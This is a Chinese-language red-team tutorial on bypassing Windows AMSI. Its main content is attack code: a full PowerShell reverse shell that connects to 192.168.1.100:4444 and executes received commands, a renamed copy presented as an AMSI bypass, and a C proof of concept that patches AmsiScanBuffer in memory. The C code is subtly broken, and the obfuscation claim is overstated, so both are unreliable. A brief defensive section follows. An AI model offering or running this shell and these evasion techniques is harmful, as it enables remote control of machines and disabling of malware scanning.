一、AMSI是什么?从防守者的视角看问题

在很多安全产品中,AMSI(Antimalware Scan Interface)是一个相当重要的存在。作为微软在 Windows 系统中引入的一种防护机制,AMSI 的主要任务是拦截和检测恶意代码,尤其是脚本相关的攻击。无论是 PowerShell 脚本还是其他常见语言(如 VBScript 和 JScript),它们在运行时都会被 AMSI 拦截并交给反病毒引擎进行扫描。

理论上,AMSI 是一个强大的守门员。然而,从攻击者的角度来看,任何防御机制都意味着一个可以被绕过的挑战。对于红队来说,越过 AMSI 是执行后续攻击步骤的关键。

本节我们从 AMSI 的设计入手,分析其核心原理和可能的薄弱环节。只有深刻理解防守者的武器,我们才能找到精准的突破点。

---

二、AMSI的工作原理:防守的逻辑与攻击者的切入点

黑客示意图

要想绕过 AMSI,首先需要理解它的运作机制。AMSI 的核心是通过 API 钩子拦截脚本的执行,将脚本内容以明文形式传递给反病毒引擎进行扫描。如果脚本中包含已知的恶意模式,AMS I会标记该脚本并阻止其执行。

核心机制

  1. 脚本拦截:当执行脚本时(如 PowerShell 脚本),AMSI 会通过 API 将脚本内容传递给反病毒引擎。
  2. 模式匹配:反病毒引擎对内容进行模式匹配,如果发现特征与已知恶意代码匹配,则阻断执行。
  3. 阻断与警告:被标记的脚本会被直接终止运行,用户通常会看到相应的安全警告。

攻击者的切入点

  • 脚本内容的检测:AMSI 钩子会将脚本内容以明文传递,因此可以尝试对脚本内容进行混淆或加密,绕过 AMSI 的模式匹配。
  • API 拦截点:AMSI 的核心拦截函数 AmsiScanBuffer 是攻击者可以直接动手脚的地方。如果能修改或禁用这个函数,就可以绕过 AMSI 的检测逻辑。
  • 内存加载:部分攻击者会选择完全绕过磁盘,将恶意代码加载到内存中运行,避免触发 AMSI。

接下来,我们将进入实际操作部分,复现如何绕过 AMSI 的检测。

---

三、攻破防线:多种 AMSI 绕过技术的实战演示

为了更有针对性,我们将分别从轻量级脚本混淆、中级调用劫持和高级内存修改几个层面进行 AMSI 绕过的演示。

环境准备

本次实验环境如下:

  • 操作系统:Windows 10 (64-bit)
  • 编程语言:Python 和 C
  • 工具链:Visual Studio、PyInstaller、PowerShell
  • 反病毒工具:Windows Defender(开启 AMSI 支持)

---

方法一:脚本混淆绕过(适合快速测试)

脚本混淆是最简单也是最广泛使用的绕过技术之一。AMSI 的检测依赖于简单的模式匹配,因此,通过对代码进行简单的混淆,我们可以有效绕过大部分基础防护。

演示代码

以下是一个会被 AMSI 检测到的 PowerShell 脚本示例:

<pre><code class="language-powershell"># 原始脚本:简单创建一个反向 shell $client = New-Object System.Net.Sockets.TCPClient(&quot;192.168.1.100&quot;,4444); $stream = $client.GetStream(); [byte[]]$buffer = 0..65535|%{0}; while(($i = $stream.Read($buffer, 0, $buffer.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer,0, $i); $sendback = (iex $data 2&gt;&amp;1 | Out-String ); $sendback2 = $sendback + &quot;PS &quot; + (pwd).Path + &quot;&gt; &quot;; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush(); } $client.Close();</code></pre>

运行上述代码时,AMSI 会立刻阻断。那么,如何绕过呢?我们可以通过以下混淆方式绕过:

<pre><code class="language-powershell"># 混淆后的脚本 $e=New-Object System.Net.Sockets.TCPClient(&quot;192.168.1.100&quot;,4444);$s=$e.GetStream();[byte[]]$b=0..65535|%{0}; while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2&gt;&amp;1|Out-String);$sb2=$sb+&quot;PS &quot;+(pwd).Path+&quot;&gt; &quot;;$sb3=([System.Text.Encoding]::ASCII).GetBytes($sb2);$s.Write($sb3,0,$sb3.Length);$s.Flush();}$e.Close();</code></pre>

为什么混淆能绕过?

  • 改变了关键词和函数的书写方式,破坏了 AMSI 的模式匹配规则。
  • 对代码结构进行了简单的压缩,绕过了基于行文本分析的检测。

---

方法二:劫持 AMSI 的 API 调用

如果目标主机启用 AMSI,但我们有权限操作目标进程,可以直接对 AMSI 的核心 API 函数 AmsiScanBuffer 进行劫持,将其替换为一个空函数,使其失效。

POC 实现

以下是一个使用 C 语言实现的 API 劫持示例:

<pre><code class="language-c">#include &lt;windows.h&gt;

include &lt;stdio.h&gt;

typedef HRESULT(WINAPI AMSI_SCAN_BUFFER)( HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT result );

HRESULT WINAPI HookedAmsiScanBuffer( HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT result ) { result = AMSI_RESULT_CLEAN; // 修改扫描结果为&quot;干净&quot; return S_OK; // 返回成功状态 }

void PatchAmsiScanBuffer() { HMODULE amsiModule = GetModuleHandleA(&quot;amsi.dll&quot;); if (amsiModule == NULL) { printf(&quot;无法加载 amsi.dll!\n&quot;); return; }

FARPROC originalFunc = GetProcAddress(amsiModule, &quot;AmsiScanBuffer&quot;); if (originalFunc == NULL) { printf(&quot;未找到 AmsiScanBuffer 函数!\n&quot;); return; }

DWORD oldProtect; VirtualProtect(originalFunc, 1, PAGE_EXECUTE_READWRITE, &amp;oldProtect); memcpy(originalFunc, HookedAmsiScanBuffer, sizeof(HookedAmsiScanBuffer)); VirtualProtect(originalFunc, 1, oldProtect, &amp;oldProtect);

printf(&quot;成功 Hook AmsiScanBuffer!\n&quot;); }

int main() { PatchAmsiScanBuffer(); return 0; }</code></pre>

运行效果: 此代码会直接替换 AMSI 的扫描结果,使所有脚本都被视为“清白无害”。运行后,即便加载恶意脚本,AMSI 也无法拦截。

---

方法三:直接修改 AMSI 的内存状态

高权限攻击者可以直接修改目标进程中的 AMSI 内存区域,将检测逻辑完全禁用。这种方式更加隐蔽,适合复杂场景下的持久化攻击链。

黑客示意图

我们可以使用诸如 WriteProcessMemory 的方法直接修改 AMSI 内存区域。这一部分由于篇幅限制,可以在后续文章中深入探讨。

---

黑客示意图

四、防守者视角:如何检测和防御这些绕过技术?

尽管本文重点在于攻击技术,但作为安全研究者,我们也需要了解如何检测和防御这些攻击行为。

防御建议

  1. 脚本混淆检测:通过启用高级脚本分析,尽可能检测混淆特征。
  2. API 调用监控:使用内存监控工具检查核心函数是否被修改。
  3. 内存完整性检查:定期对 AMSI 的内存区域进行校验,发现可疑修改后进行告警。

---

黑客示意图

五、红队的思考与建议

对于红队来说,AMSI 绕过是一项基本技能,但不应滥用。真实场景下,针对 AMSI 的对抗往往需要结合其他免杀策略,实现多层次的隐蔽性。无论是代码混淆还是 API 劫持,攻击者最终的目的是达成目标,而不是与防御机制“较劲”。优秀的攻击者在技术上必须一丝不苟,同时也需要始终保持对目标环境的尊重。